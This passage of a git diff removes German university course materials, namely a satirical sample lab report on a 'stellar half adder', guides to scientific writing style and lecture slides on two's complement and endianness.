<http://creativecommons.org/licenses/>. - -% README: Beispiel-Praktikumsbericht zu Versuch 1: Halbaddierer - -\documentclass[11pt]{article} - -\usepackage[a4paper,margin=2cm]{geometry} -\usepackage[german]{babel} % For "reformed" German: "ngermen" instead of "german" -\usepackage[colorlinks,allcolors=blue]{hyperref} -\usepackage{amsmath} -\usepackage{wasysym} -\usepackage{parskip} - -\title{Stellarer Halbaddierer\\[\bigskipamount] - \normalsize Beispiel-Praktikumsbericht\\ - Rechnertechnik, Sommersemester 2021} - -\author{Peter Gerwinski} - -\date{11.~April 2021} - -\newcommand{\solarmass}{M_\text{\astrosun}} - -\begin{document} - - \maketitle - - \begin{center} - Matr.-Nr.~742876\\ - Studiengang: Physik (Diplom, grundständig) - \end{center} - - \vfill - - \begin{abstract} - \noindent - Dieses Projekt beschreibt den Bau eines Halbaddierers auf - Grundlage der zeitlichen Entwicklung von Sternen. - \end{abstract} - - \vfill - - \tableofcontents - - \vfill - - \begingroup - \newcommand{\sep}{~$\cdot$~} - \newcommand{\mylicense}{CC BY-SA (Version 4.0 oder höher) oder GNU GPL (Version 3 oder höher)} - \setlength{\leftskip}{2cm} - \small - - Stand: 11.\ April 2021 - -% Soweit nicht anders angegeben:\\ - Copyright \copyright\ 2021\quad Peter Gerwinski\\ - Lizenz: \mylicense - - Sie können diesen Beispiel-Praktikumsbericht einschließlich \LaTeX-Quelltext -% und Beispielprogramme\\ - herunterladen unter:\\ - \url{https://gitlab.cvh-server.de/pgerwinski/rtech} - - \endgroup - - \clearpage - - \section{Einleitung} - - Der Aufbau von Logik-Schaltungen, zu denen auch der Halbaddierer - gehört, erfolgt Stand 2021 üblicherweise auf Basis von - Halbleitern in elektrischen Stromkreisen. - Dieses Projekt verfolgt einen anderen Ansatz, - nämlich die Ausnutzung des Verhaltens von Wasserstoffwolken unter - dem Einfluß von Gravitation unter besonderer Berücksichtigung - von Supernovae \cite{Supernova}. - - \section{Grundlagen stellarer Logikschaltungen} - - Hinreichend massereiche interstellare Wasserstoffwolken - verdichten sich im Laufe von ca.~10--15 Millionen Jahren - unter dem Einfluß der Gravitation so weit, - daß Kernfusion einsetzt \cite{Sternentwicklung}. - Die Wasserstoffwolke wird dann zu einem Stern. - - Die weitere Entwicklung des Sterns hängt wesentlich - von seiner Masse ab. Laut~Wikipedia~\cite{Hauptreihe} - beträgt die geschätzte Hauptreihen-Lebensdauer $\tau_{\text{ms}}$ - eines Sterns der Masse $M$ - \begin{equation} - \tau_{\text{ms}} - = 10^{10}~\text{Jahre} - \cdot \left(\frac{\solarmass}{M}\right)^{\!\frac52}. - \end{equation} - (Das Symbol $\solarmass$ steht für die Masse der Sonne.) - - Dies ergibt für einen Stern mit $M = 6\,\solarmass$ - % bc -l: e(5/2 * l(1/6)) = 0.0113 - eine erwartete Lebensdauer von über 100 Millionen Jahren, - für einen Stern mit $M = 12\,\solarmass$ jedoch - % bc -l: e(5/2 * l(1/12)) = 0.0020 - nur ca.~20 Millionen Jahre. - - Hierdurch ist es möglich, eine Exklusiv-Oder-Verknüpfung zu realisieren, - die im Halbaddierer das Summen-Bit ermittelt. - Wenn wir eine logische 0 durch das Vakuum des Weltraums darstellen - und eine logische 1 durch eine Wasserstoffwolke der Masse $M = 6\,\solarmass$, - dann wird sich eine einzelne eingegebene 1 nach 65 Millionen Jahren - als Stern zeigen eine eingegebene 0 durch Abwesenheit eines Sterns. - Hierbei dienen 15 Millionen Jahre der Sternentstehung, - so daß dem Stern für seine Hauptreihe 50 Millionen Jahre zur Verfügung stehen. - - Sobald an beiden Eingängen eine 1 anliegt, haben wir es - mit einer Wasserstoffwolke der Gesamtmasse $M = 12\,\solarmass$ zu tun. - Der daraus entstandene Stern ist nach 65 Millionen Jahren - bereits wieder vergangen. - Damit ist die Wahrheitstabelle der Exklusiv-Oder-Verknüpfung realisiert. - Die Anwesenheit oder Abwesenheit eines Sterns signalisiert - eine logische 1 bzw.~0 am Summen-Ausgang des Halbaddierers. - - Zusätzlich zur der Exklusiv-Oder-Verknüpfung benötigt ein Halbaddierer - noch eine Und-Verknüpfung zur Ermittlung des Übertrag-Bits. - Dieses Bit darf nur dann eine logische 1 haben, - wenn gleichzeitig an beiden Eingängen eine logische 1 anliegt, - im Falle des stellaren Halbaddierers also nur nach Einspeisung - von zwei Wasserstoffwolken zu jeweils $6\,\solarmass$, - also insgesamt $12\,\solarmass$. - Hier nutzen wir aus, daß eine Masse von $12\,\solarmass$ klar über - der Grenze liegt, ab der ein Stern als Supernova endet \cite{Supernova}. - Ein Übertrag in der Summe macht sich demnach - in Gestalt einer Supernova bemerkbar. - - \section{Versuchsaufbau} - - Als Versuchsaufbau eignet sich z.\,B.\ ein würfelförmiger Behälter - von 1~Lichtjahr Kantenlänge mit zwei Wasserstoff-Einlaßventilen - für die beiden Eingänge des Halbaddierers. - (Abbildungen werden nachgereicht.) - - Die Detektion, ob nach 65 Millionen Jahren ein Stern entstanden - und noch nicht vergangen ist, kann mit Hilfe eines Fototransistors erfolgen. - Alternativ läßt sich das Gehäuse auch mit einem Fenster ausstatten, - das eine visuelle Überprüfung der Anwesenheit eines Sterns ermöglicht. - - Für die Detektion, ob während der Verarbeitungszeit - eine Supernova stattgefunden hat, ist der Aufwand höher. - Eine Möglichkeit besteht darin, einen Gasriesen - an der Gehäusewand zu befestigen. - (Aufgrund seiner Schwerkraft sollte er von selbst an der Wand haften.) - Ist nach 65 Millionen Jahren der Gasriese noch vorhanden, - hat keine Supernova-Exploision stattgefunden. - Ist er hingegen verschwunden, hat eine Supernova-Explosion stattgefunden - und den Gasriesen zerstört. - - \section{Benutzung des Halbaddierers} - - Rechenvorgang: - \begin{itemize} - \item - Eingänge: An jedem der beiden Eingangsventile steht das Einspeisen - von $6\,\solarmass$ Wasserstoff für eine logische~1. - Ansonsten liegt an dem jeweiligen Eingang eine logische 0 vor. - \item - Nach dem Anlegen der Eingangs-Bits starten die Rechenoperationen von selbst. - Nach ca.~65 Millionen Jahren ist das Ergebnis der Rechnung - an den Ausgängen ablesbar. - \item - Summen-Ausgang: Die Anwesenheit eines Sterns signalisiert eine logische 1 - am Summen-Ausgang des Halbaddierers, die Abwesenheit eines Sterns - eine logische 0. - \item - Übertrag-Ausgang: - Die Anwesenheit des an der Gehäusewand angebrachten Gasriesen - signalisiert eine logische 0 für den Übertrag-Ausgang. - Ist der Gasriese nicht mehr vorhanden, bedeutet dies - eine logische 1 für den Übertrag. - \end{itemize} - Besonderheiten: - \begin{itemize} - \item - Nach jeder Benutzung ist eine Reinigung des Halbaddierers erforderlich, - insbesondere eine umweltgerechte Entsorgung der entstandenen Sterne - und ggf.\ der Überreste der Supernova, - also des Neutronensterns oder des Schwarzen Lochs. - \item - Bei dem Gasriesen handelt es sich um Verbrauchsmaterial. - Nach jeder Anzeige einer 1 auf dem Übertrag-Ausgang - ist ein Auswechseln erforderlich. - \end{itemize} - - \section{Aktueller Stand und Schwierigkeiten} - - \begin{itemize} - \item - Die Herstellung des Gehäuses bereitet aktuell noch Schwierigkeiten, - da der von uns verwendete 3d-Drucker nicht für astronomische Dimensionen - (1 Lichtjahr Kantenlänge) ausgelegt ist. - Es gilt zu prüfen, inwieweit sich auch kleinere Gehäuse eignen. - \item - Trotz eigentlich erschwinglicher Preise des Verbrauchsmaterials - (Wasserstoff) ist ein Betrieb des Halbaddierers - wegen des doch sehr hohen Verbrauchs dieses Materials eher unrentabel. - \item - Grundsätzlich besteht das Problem, daß der Detektor-Gasriese - den eingespeisten Wasserstoff anzieht und dadurch selbst zum Stern wird. - Dies würde die Ergebnisse verfälschen und ggf.\ einen Übertrag anzeigen, - wo gar keiner stattgefunden hat. - \item - Die erreichbare Taktfrequenz des Halbaddierers - ist mit 1 Rechnung pro 65 Millionen Jahre - (ca.~212 Taktzyklen seit dem Urknall) - z.\,Zt.\ noch nicht konkurrenzfähig - gegenüber Logik-Schaltungen auf Basis von Halbleitern - (mehrere Milliarden Taktzyklen pro Sekunde). - \item - Es bestehen Sicherheitsbedenken - insbesondere hinsichtlich der Supernova-Explosion. - Auch bei der Handhabung des Gasriesen gilt es, - geeignete Maßnahmen zum Schutz vor radioaktiver Strahlung zu ergreifen. - \end{itemize} - - Aus den genannten Gründen ist - eine Vorführung des funktionsfähigen Halbaddierers - zu diesem Zeitpunkt noch nicht möglich. - - \section{Ausblick} - - Eine Steigerung der Verarbeitungsgeschwindigkeit - ist evtl.\ durch eine Erhöhung des Wasserstoffdurchsatzes möglich, - da massereichere Sterne die Hauptreihe schneller durchlaufen. - Hierbei ist darauf zu achten, daß sich die Durchlaufzeiten - für Sterne der einfachen bzw.\ doppelten Masse eindeutig genug unterscheiden, - um eine klare Auswertung der Exklusiv-Oder-Verknüpfung zu gewährleisten. - Allerdings besteht die Möglichkeit, daß es hier eine Obergrenze gibt, - da entstehende Sterne den sie umgebenden Wasserstoff - durch ihren Sternwind wegdrücken \cite{Sternentwicklung}. - - \begin{thebibliography}{9} - \bibitem{Supernova} - \url{https://de.wikipedia.org/wiki/Supernova} - \bibitem{Sternentwicklung} - \url{https://de.wikipedia.org/wiki/Stern#Sternentwicklung} - \bibitem{Hauptreihe} - \url{https://de.wikipedia.org/wiki/Hauptreihenstern} - \end{thebibliography} - - \bigskip - - \color{red} - - \section*{Bewertung} - - \begin{itemize} - \item - Einleitung: Bitte wenigstens kurz erwähnen, was ein Halbaddierer ist. - \item - Grundlagen: Ist wirklich klar, - daß die Masse des Sterns gleich der Gesamtmasse der Wolke ist? - Es könnte ja auch sein, daß der Stern nur einen Teil - des Wasserstoffs einsammelt. - Ggf.\ müßten die einzuspeisenden Mengen an Wasserstoff angepaßt werden. - \item - Abbildungen unbedingt nachreichen -- nicht nur für den Versuchsaufbau, - sondern auch für die Grundlagen! - Dadurch würde auch Gleichung~1 direkt viel anschaulicher. - \item - Wikipedia ist keine zitierfähige Quelle! - \item - Das Problem, daß der Gasriese selbst zum Stern wird, - ist sehr wahrscheinlich. - Aber wird der Gasriese überhaupt benötigt? - Eine Supernova, die auf 1 Lichtjahr Entfernung einen Gasriesen zerstört, - wird sicherlich genug erkennbare Spuren am Gehäuse hinterlassen. - \item - Ohne Vorführung des funktionsfähigen Halbaddierers - gibt es auch kein Testat. - Ausnahmen sind bestenfalls bei besonderer Originalität - in Kombination mit Plausibilität möglich. - \end{itemize} - -\end{document} diff --git a/20210413/addierer-5653.jpg b/20210413/addierer-5653.jpg deleted file mode 100644 index 7df5b0b98d84f2a8fd0ba3d0e7fbccbd303f8d5e..0000000000000000000000000000000000000000 Binary files a/20210413/addierer-5653.jpg and /dev/null differ diff --git a/20210413/addierer-5654.jpg b/20210413/addierer-5654.jpg deleted file mode 100644 index ad2b4f8ddaf23b98273986dbba4b35afb64ac50c..0000000000000000000000000000000000000000 Binary files a/20210413/addierer-5654.jpg and /dev/null differ diff --git a/20210413/addierer-5669.jpg b/20210413/addierer-5669.jpg deleted file mode 100644 index 9aa4693c0d0c9a2ad54b3ceb6d259a5b8da93cdb..0000000000000000000000000000000000000000 Binary files a/20210413/addierer-5669.jpg and /dev/null differ diff --git a/20210413/wiss-doku-20210413.pdf b/20210413/wiss-doku-20210413.pdf deleted file mode 100644 index a815c543cdbca3f3253ce12f968071de633b3c1e..0000000000000000000000000000000000000000 Binary files a/20210413/wiss-doku-20210413.pdf and /dev/null differ diff --git a/20210413/wiss-doku-20210413.tex b/20210413/wiss-doku-20210413.tex deleted file mode 100644 index 80f84fd816385b2d8736881920cede4ae2757e0a..0000000000000000000000000000000000000000 --- a/20210413/wiss-doku-20210413.tex +++ /dev/null @@ -1,118 +0,0 @@ -\documentclass[11pt]{article} - -\usepackage[a4paper,margin=2cm]{geometry} -\usepackage[colorlinks,allcolors=blue]{hyperref} -\urlstyle{sf} -\usepackage[german]{babel} % Für "reformierte" deutsche Rechtschreibung: ngerman -\usepackage[utf8]{inputenc} - -\title{Wissenschaftliche Dokumentation} - -\author{Peter Gerwinski} - -\date{13.\,04.\,2021} % "\," = halbes Leerzeichen - -\newcommand{\newterm}[1]{\emph{#1}} - -\begin{document} - - \maketitle - - \begin{abstract} - Diese Dokumentation gibt allgemeine Hinweise - zur Erstellung wissenschaftlicher Dokumentation, - insbesondere hinsichtlich Struktur und Sprache. -% Gleichzeitig gibt sie einen Einblick -% in die Verwendung des Textsatzsystems \LaTeX. - \end{abstract} - - \tableofcontents - - \section{Allgemeines} - - \begin{itemize} - \item - Zielpublikum wissenschaftlicher Dokumentation: - nicht konkret die Prüfenden, sondern die wissenschaftliche Öffentlichkeit - \item - Was würden Sie sich wünschen zu finden, - wenn Sie das in der Arbeit beschriebene Projekt durchführen möchten - und nach einer Anleitung suchen? Diese Anleitung schreiben Sie. - \item - Ziel einer wissenschaflien Dokumentation: - Alles soll möglichst exakt sein, - und man soll alles so gut wie möglich verstehen können. - Alle im folgenden aufgeführtten Tips sind diesen Zielen untergeordnet. - \item - Eine wissenschaftliche Dokumentation ist kein Tagebuch oder Reisebericht. - Die Ich-Form hat hier normalerweise keinen Platz. - \item - Eine wissenschaftliche Dokumentation ist kein Krimi. - Das Vorwegnehmen von Ergebnissen -- auch von überraschenden -- - trägt zum Verständnis bei und ist daher ausdrücklich erwünscht. - \end{itemize} - - \section{Struktur} - - \begin{itemize} - \item - Grundsätzlich gilt die Struktur: Einleitung, Hauptteil, Schlußteil. - \item - Diese Struktur ist rekursiv, d.\,h.\ jedes Kapitel, jeder Abschnitt usw.\ - ist selbst gemäß dieser Struktur aufgebaut. - \item - Wenn ein Abschnitt Unterabschnitte enthält, - gehört die Einleitung zu dem gesamten Abschnitt - noch vor die Überschrift des ersten Unterabschnitts - (Beispiel: \cite[\S\,2]{Bachelor-LaTeX}). - \end{itemize} - - \section{Spezielle Abschnitte} - - \begin{itemize} - \item - Das \newterm{Abstract} faßt den Inhalt der Arbeit - so knapp wie möglich zusammen. - Sinn des Abstracts ist es, eine Entscheidungshilfe zu geben, - ob die Dokumentation überhaupt der Text ist, den man sucht - und den man lesen möchte. - \item - Viele Unternehmen bestehen auf Sperrvermerken - "`zur Wahrung von Geschäftsgeheimnissen"'. - Dies ist für Prüfende \emph{sehr ärgerlich}, - und manche Prüfende lehnen die Bearbeitung von Arbeiten mit Sperrvermerk - grundsätzlich ab. - Es sollte immer möglich sein, den wissenschaftlichen Gehalt einer Arbeit - von Geschäftsgeheimnissen zu trennen, - zum Beispiel durch das Ersetzen realer Beispiele durch Phantasie-Daten. - \end{itemize} - - \section{Vermeidung von Passiv} - - \begin{itemize} - \item - Die Vermeidung der Ich-Form führt häufig zu längeren Passagen im Passiv, - die zu lesen sehr ermüdend sein kann. - \item - Das Ersetzen von "`wird"' durch "`ist"' stellt keine Lösung dar. - Nach dieser Ersetzung handelt es sich immer noch um Passiv, - nun jedoch in der Vergangenheitsform (Perfekt). - \item - In vielen Fällen ist es möglich, Passiv durch Aktiv zu ersetzen. - Die Frage "`Wer ist der Täter?"' hilt, das Subjet des Aktiv-Satzes zu finden. - \item - Häufig hilft die Substantivierung von Verben, Passiv auf elegante Weise zu vermeiden. - \end{itemize} - - \begin{thebibliography}{9} - \bibitem{Bachelor-LaTeX} - M.~Lemmen, J.~Weber et al.: - \emph{\LaTeX-Vorlage für Bachelor-Arbeiten}.\\ - \url{https://gitlab.cvh-server.de/jweber/latex-template-cvh} -% \bibitem{DFI} -% P.~Gerwinski: -% \emph{Deutsch für Ingenieure}.\\ -% \url{https://gitlab.cvh-server.de/pgerwinski/dfi} - \end{thebibliography} - -\end{document} diff --git a/20210419/wiss-doku-20210419.pdf b/20210419/wiss-doku-20210419.pdf deleted file mode 100644 index 492c6da8c24e532af0e6b63609a72d7dafcdac33..0000000000000000000000000000000000000000 Binary files a/20210419/wiss-doku-20210419.pdf and /dev/null differ diff --git a/20210419/wiss-doku-20210419.tex b/20210419/wiss-doku-20210419.tex deleted file mode 100644 index 53aed86553217eaffa4f37601f295f3ae580ca03..0000000000000000000000000000000000000000 --- a/20210419/wiss-doku-20210419.tex +++ /dev/null @@ -1,189 +0,0 @@ -\documentclass[11pt]{article} - -\usepackage[a4paper,margin=2cm]{geometry} -\usepackage[colorlinks,allcolors=blue]{hyperref} -\urlstyle{sf} -\usepackage[german]{babel} % Für "reformierte" deutsche Rechtschreibung: ngerman -\usepackage[utf8]{inputenc} - -\title{Wissenschaftliche Dokumentation} - -\author{Peter Gerwinski} - -\date{19.\,04.\,2021} % "\," = halbes Leerzeichen - -\newcommand{\newterm}[1]{\emph{#1}} - -\begin{document} - - \maketitle - - \begin{abstract} - Diese Dokumentation gibt allgemeine Hinweise - zur Erstellung wissenschaftlicher Dokumentation, - insbesondere hinsichtlich Struktur und Sprache. - \end{abstract} - - \tableofcontents - - \section{Allgemeines} - - \begin{itemize} - \item - Zielpublikum wissenschaftlicher Dokumentation: - nicht konkret die Prüfenden, sondern die wissenschaftliche Öffentlichkeit - \item - Was würden Sie sich wünschen zu finden, - wenn Sie das in der Arbeit beschriebene Projekt durchführen möchten - und nach einer Anleitung suchen? Diese Anleitung schreiben Sie. - \item - Ziel einer wissenschaflien Dokumentation: - Alles soll möglichst exakt sein, - und man soll alles so gut wie möglich verstehen können. - Alle im folgenden aufgeführtten Tips sind diesen Zielen untergeordnet. - \item - Eine wissenschaftliche Dokumentation ist kein Tagebuch oder Reisebericht. - Die Ich-Form hat hier normalerweise keinen Platz. - \begin{itemize} - \item - Die chronologische Reihenfolge ist nicht unbedingt am besten geeignet, - um Sachverhalte zu erklären. - \item - Umwege nur dann dokumentieren, wenn sich ein Fehler gewissermaßen aufdrängt. - Dann lohnt es sich, darauf hinzuweisen. - \end{itemize} - \item - Eine wissenschaftliche Dokumentation ist kein Krimi. - Das Vorwegnehmen von Ergebnissen -- auch von überraschenden -- - trägt zum Verständnis bei und ist daher ausdrücklich erwünscht. - Wer das Ziel bereits kennt, kann auch den Weg dorthin besser nachvollziehen. - \end{itemize} - - \section{Struktur} - - \begin{itemize} - \item - Grundsätzlich gilt die Struktur: Einleitung, Grundlagen, Hauptteil, Schlußteil. - \begin{itemize} - \item - Einleitung: \emph{Warum} machen wir das? Wieso ist das interessant? - \item - Grundlagen: Was muß man für das Verständnis wissen, - was nicht allgemein bekannt ist? - \item - Hauptteil: Wie lösen wir das Problem? - \item - Schlußteil: Was ist dabei herausgekommen? Wie könnte es weitergehen? - \end{itemize} - \item - Diese Struktur ist rekursiv, d.\,h.\ jedes Kapitel, jeder Abschnitt usw.\ - ist selbst gemäß dieser Struktur aufgebaut. - \item - Wenn ein Abschnitt Unterabschnitte enthält, - gehört die Einleitung zu dem gesamten Abschnitt - noch vor die Überschrift des ersten Unterabschnitts - (Beispiel: \cite[\S\,2]{Bachelor-LaTeX}). - \end{itemize} - - \section{Weitere Hinweise} - - \dots\ finden sich ebenfalls in \cite{Bachelor-LaTeX} sowie in \cite{DFI}. - - % Mit "..." statt "\dots" sitzen die drei Punkte zu eng beieinander. - - \section{Spezielle Abschnitte} - - \begin{itemize} - \item - Das \newterm{Abstract} faßt den Inhalt der Arbeit - so knapp wie möglich zusammen. - Sinn des Abstracts ist es, eine Entscheidungshilfe zu geben, - ob die Dokumentation überhaupt der Text ist, den man sucht - und den man lesen möchte. - \item - Viele Unternehmen bestehen auf Sperrvermerken - "`zur Wahrung von Geschäftsgeheimnissen"'. - Dies ist für Prüfende \emph{sehr ärgerlich}, - und manche Prüfende lehnen die Bearbeitung von Arbeiten mit Sperrvermerk - grundsätzlich ab. - Es sollte immer möglich sein, den wissenschaftlichen Gehalt einer Arbeit - von Geschäftsgeheimnissen zu trennen, - zum Beispiel durch das Ersetzen realer Beispiele durch Phantasie-Daten. - \end{itemize} - - \section{Vermeidung von Passiv} - - \begin{itemize} - \item - Die Vermeidung der Ich-Form führt häufig zu längeren Passagen im Passiv, - die zu lesen sehr ermüdend sein kann. - \item - Das Ersetzen von "`wird"' durch "`ist"' stellt keine Lösung dar. - Nach dieser Ersetzung handelt es sich immer noch um Passiv, - nun jedoch in der Vergangenheitsform (Perfekt). - \item - In vielen Fällen ist es möglich, Passiv durch Aktiv zu ersetzen. - Die Frage "`Wer ist der Täter?"' hilt, das Subjet des Aktiv-Satzes zu finden. - \item - Häufig hilft die Substantivierung von Verben, Passiv auf elegante Weise zu vermeiden. - \end{itemize} - Beispiel: - \begin{itemize} - \item - Ich baue aus zwei Transistoren ein Und-Gatter. - Dann baue ich aus zwei weiteren Transistoren ein Nor-Gatter. - Und dann baue ich aus zwei weiteren Transistoren ein Und-Nicht-Gatter. - - Falsch: Verwendung von "`Ich"', Wiederholungen - \item - Das "`ich"' vermeiden: - - Aus zwei Transistoren wird ein Und-Gatter gebaut. - Danach wird aus zwei weiteren Transistoren ein Nor-Gatter zusammengestellt. - Als nächstes wird wieder aus zwei Transistoren ein Und-Nicht-Gatter erstellt. - - Falsch: extensive Verwendung des Passiv - \item - Aktiv statt Passiv: - - Zwei Transistoren bilden ein Und-Gatter. - Zwei weitere Transistoren realisieren ein Nor-Gatter. - Aus zwei weiteren Transistoren entsteht ein Und-Nicht-Gatter. - - "`Wer ist der Täter?"' - Die Transistoren und im letzten Satz das Und-Nicht-Gatter. - \item - Substantivierung statt Passiv: - - Zwei Transistoren bilden ein Und-Gatter. - Die Realisierung des Nor-Gatters erfolgt durch zwei weitere Transistoren. - Aus zwei weiteren Transistoren entsteht ein Und-Nicht-Gatter. - - Hier keine Verbesserung, aber in manchen Fällen vielleicht schon. - \end{itemize} - In Fällen wie diesem, in denen tatsächlich mehrfach dasselbe geschieht, - ist eine Formulierung mit Stichpunkten oder einer Tabelle meistens besser als Fließtext: - \begin{quote} - Der Aufbau der Schaltung erfolgt wie folgt: - \begin{itemize} - \item - Und-Gatter: 2 Transistoren - \item - Nor-Gatter: 2 Transistoren - \item - Und-Nicht-Gatter: 2 Transistoren - \end{itemize} - \end{quote} - - \begin{thebibliography}{9} - \bibitem{Bachelor-LaTeX} - M.~Lemmen, J.~Weber et al.: - \emph{\LaTeX-Vorlage für Bachelor-Arbeiten}.\\ - \url{https://gitlab.cvh-server.de/jweber/latex-template-cvh} - \bibitem{DFI} - P.~Gerwinski: - \emph{Deutsch für Ingenieurinnen, Ingenieure und andere intelligente Lebensformen}.\\ - \url{https://gitlab.cvh-server.de/pgerwinski/dfi} - \end{thebibliography} - -\end{document} diff --git a/20210420/logo-hochschule-bochum-cvh-text-v2.pdf b/20210420/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210420/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210420/logo-hochschule-bochum.pdf b/20210420/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210420/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210420/pgslides.sty b/20210420/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210420/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210420/rtech-20210420.pdf b/20210420/rtech-20210420.pdf deleted file mode 100644 index d92f39cfe040afa8f2640010c44bd46ee1eb9fce..0000000000000000000000000000000000000000 Binary files a/20210420/rtech-20210420.pdf and /dev/null differ diff --git a/20210420/rtech-20210420.tex b/20210420/rtech-20210420.tex deleted file mode 100644 index 09ddf90962bfea8cb68057dd4080661b0ae62c9a..0000000000000000000000000000000000000000 --- a/20210420/rtech-20210420.tex +++ /dev/null @@ -1,174 +0,0 @@ -% rtech-20210420.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Addierer, Subtrahierer - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{20.\ April 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item - Vom Logik-Schaltkreis zum Addierer:\\ - \item - Binärdarstellung negativer Zahlen - \item - Aufbau einer Schaltung zum Bilden des Zweierkomplements - \end{itemize} - - Siehe Skript, Seite 15--19 - -\end{frame} - -\subsectionnonumber{Binärdarstellung negativer Zahlen} - -\begin{frame}[fragile] - - \showsubsectionnonumber - - Speicher ist begrenzt!\\ - \textarrow\ feste Anzahl von Bits - - \medskip - - 8-Bit-Zahlen ohne Vorzeichen: \lstinline{uint8_t}\\ - \textarrow\ Zahlenwerte von \lstinline{0x00} bis \lstinline{0xff} = 0 bis 255\\ - \pause - \textarrow\ 255 + 1 = 0 - - \pause - \medskip - - 8-Bit-Zahlen mit Vorzeichen: \lstinline{int8_t}\\ - \lstinline{0xff} = 255 ist die "`natürliche"' Schreibweise für $-1$.\\ - \pause - \textarrow\ Zweierkomplement - - \pause - \medskip - - Oberstes Bit = 1: negativ\\ - Oberstes Bit = 0: positiv\\ - \textarrow\ 127 + 1 = $-128$ - -\end{frame} - -\begin{frame}[fragile] - - \showsubsectionnonumber - - Speicher ist begrenzt!\\ - \textarrow\ feste Anzahl von Bits - - \medskip - - 16-Bit-Zahlen ohne Vorzeichen: - \lstinline{uint16_t}\hfill\lstinline{uint8_t}\\ - \textarrow\ Zahlenwerte von \lstinline{0x0000} bis \lstinline{0xffff} - = 0 bis 65535\hfill 0 bis 255\\ - \textarrow\ 65535 + 1 = 0\hfill 255 + 1 = 0 - - \medskip - - 16-Bit-Zahlen mit Vorzeichen: - \lstinline{int16_t}\hfill\lstinline{int8_t}\\ - \lstinline{0xffff} = 66535 ist die "`natürliche"' Schreibweise für $-1$.\hfill - \lstinline{0xff} = 255 = $-1$\\ - \textarrow\ Zweierkomplement - - \medskip - - Oberstes Bit = 1: negativ\\ - Oberstes Bit = 0: positiv\\ - \textarrow\ 32767 + 1 = $-32768$ - - \bigskip - Literatur: \url{http://xkcd.com/571/} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsectionnonumber - - Frage: \emph{Für welche Zahl steht der Speicherinhalt\, - \raisebox{2pt}{% - \tabcolsep0.25em - \begin{tabular}{|c|c|}\hline - \rule{0pt}{11pt}a3 & 90 \\\hline - \end{tabular}} - (hexadezimal)?} - - \pause - \smallskip - Antwort: \emph{Das kommt darauf an.} ;--) - - \pause - \medskip - Little-Endian: - - \smallskip - - \begin{tabular}{lrl} - als \lstinline,int8_t,: & $-93$ & (nur erstes Byte)\\ - als \lstinline,uint8_t,: & $163$ & (nur erstes Byte)\\ - als \lstinline,int16_t,: & $-28509$\\ - als \lstinline,uint16_t,: & $37027$\\ - \lstinline,int32_t, oder größer: & $37027$ - & (zusätzliche Bytes mit Nullen aufgefüllt) - \end{tabular} - - \pause - \medskip - Big-Endian: - - \smallskip - - \begin{tabular}{lrl} - als \lstinline,int8_t,: & $-93$ & (nur erstes Byte)\\ - als \lstinline,uint8_t,: & $163$ & (nur erstes Byte)\\ - als \lstinline,int16_t,: & $-23664$\\ - als \lstinline,uint16_t,: & $41872$\\ als \lstinline,int32_t,: & $-1550843904$ & (zusätzliche Bytes\\ - als \lstinline,uint32_t,: & $2744123392$ & mit Nullen aufgefüllt)\\ - als \lstinline,int64_t,: & $-6660823848880963584$\\ - als \lstinline,uint64_t,: & $11785920224828588032$\\ - \end{tabular} - - \vspace*{-1cm} - -\end{frame} - -\end{document} diff --git a/20210426/1268px-Transistor_Multivibrator.svg.png b/20210426/1268px-Transistor_Multivibrator.svg.png deleted file mode 100644 index 37c63b95ddd1023e81f6159bbc7c8a468bdb8988..0000000000000000000000000000000000000000 Binary files a/20210426/1268px-Transistor_Multivibrator.svg.png and /dev/null differ diff --git a/20210426/alu2.pdf b/20210426/alu2.pdf deleted file mode 100644 index e0d031999f1521220c28875e2a8fd7d7840c0423..0000000000000000000000000000000000000000 Binary files a/20210426/alu2.pdf and /dev/null differ diff --git a/20210426/astabile-kippstufe.xcf.gz b/20210426/astabile-kippstufe.xcf.gz deleted file mode 100644 index b9785b05d20bde1b0534e2fb421fc2d1f9d624f2..0000000000000000000000000000000000000000 Binary files a/20210426/astabile-kippstufe.xcf.gz and /dev/null differ diff --git a/20210426/flip-flop-1.png b/20210426/flip-flop-1.png deleted file mode 100644 index 2690e72751b9fdead9e9ac069be278fb1b5cf5ca..0000000000000000000000000000000000000000 Binary files a/20210426/flip-flop-1.png and /dev/null differ diff --git a/20210426/flip-flop-2.png b/20210426/flip-flop-2.png deleted file mode 100644 index 5111f6fff0e4eb3c0f02a9da6a6ad5df40f662f6..0000000000000000000000000000000000000000 Binary files a/20210426/flip-flop-2.png and /dev/null differ diff --git a/20210426/flip-flop-3.png b/20210426/flip-flop-3.png deleted file mode 100644 index 